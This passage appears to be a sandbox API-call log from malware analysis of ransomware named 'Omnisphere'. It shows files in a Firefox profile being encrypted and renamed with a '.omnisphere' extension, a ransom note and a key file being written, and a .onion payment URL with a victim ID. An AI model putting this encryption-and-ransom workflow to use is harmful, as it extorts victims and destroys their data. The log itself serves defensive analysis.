dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.535] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.536] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.537] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.538] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.538] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.538] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.538] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.538] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.541] CryptDestroyKey (hKey=0x1639868) returned 1 [0161.541] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0161.541] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x18000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.541] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0161.541] GetProcessHeap () returned 0x1600000 [0161.541] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2da) returned 0x174acb0 [0161.541] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\webappsstore.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\webappsstore.sqlite"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\webappsstore.sqlite.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\webappsstore.sqlite.omnisphere")) returned 1 [0161.542] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\webappsstore.sqlite.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\webappsstore.sqlite.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\webappsstore.sqlite.omnisphere.id" [0161.542] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\webappsstore.sqlite.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\webappsstore.sqlite.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.543] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0161.544] CloseHandle (hObject=0x388) returned 1 [0161.544] UnmapViewOfFile (lpBaseAddress=0x14a0000) returned 1 [0161.545] CloseHandle (hObject=0x3c0) returned 1 [0161.545] SetEndOfFile (hFile=0x288) returned 1 [0161.545] FlushFileBuffers (hFile=0x288) returned 1 [0161.560] CloseHandle (hObject=0x288) returned 1 [0161.561] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\webappsstore.sqlite" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0161.561] GetProcessHeap () returned 0x1600000 [0161.561] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174af98 [0161.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.561] GetProcessHeap () returned 0x1600000 [0161.561] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17340f8 [0161.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17340f8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.561] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.562] GetProcessHeap () returned 0x1600000 [0161.562] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726898 [0161.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726898, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.562] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.562] GetProcessHeap () returned 0x1600000 [0161.562] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x172d0a8 [0161.562] PathCombineW (in: pszDest=0x172d0a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0161.562] GetProcessHeap () returned 0x1600000 [0161.562] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x173b3e8 [0161.562] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.562] WriteFile (in: hFile=0x288, lpBuffer=0x173b3e8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x173b3e8*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0161.562] CloseHandle (hObject=0x288) returned 1 [0161.563] GetProcessHeap () returned 0x1600000 [0161.563] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174af98 | out: hHeap=0x1600000) returned 1 [0161.563] GetProcessHeap () returned 0x1600000 [0161.563] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c2b8 [0161.564] PathCombineW (in: pszDest=0x162c2b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0161.564] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.564] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0161.564] CloseHandle (hObject=0x288) returned 1 [0161.564] GetProcessHeap () returned 0x1600000 [0161.564] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c2b8 | out: hHeap=0x1600000) returned 1 [0161.564] GetProcessHeap () returned 0x1600000 [0161.564] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625bd8 | out: hHeap=0x1600000) returned 1 [0161.564] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8154a58, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8154a58, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8154a58, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15f, dwReserved0=0x0, dwReserved1=0xcc, cFileName="xulstore.json", cAlternateFileName="XULSTO~1.JSO")) returned 1 [0161.564] GetProcessHeap () returned 0x1600000 [0161.564] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xbe) returned 0x16415f0 [0161.564] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="xulstore.json" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\xulstore.json") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\xulstore.json" [0161.564] StrStrW (lpFirst=".omnisphere", lpSrch=".json") returned 0x0 [0161.564] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\xulstore.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\xulstore.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0161.566] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=351) returned 1 [0161.566] GetTickCount () returned 0x1168218 [0161.566] GetTickCount () returned 0x1168218 [0161.566] GetTickCount () returned 0x1168218 [0161.566] GetTickCount () returned 0x1168218 [0161.566] GetTickCount () returned 0x1168218 [0161.566] GetTickCount () returned 0x1168218 [0161.566] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] GetTickCount () returned 0x1168218 [0161.567] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668ac0) returned 1 [0161.568] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0161.568] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: 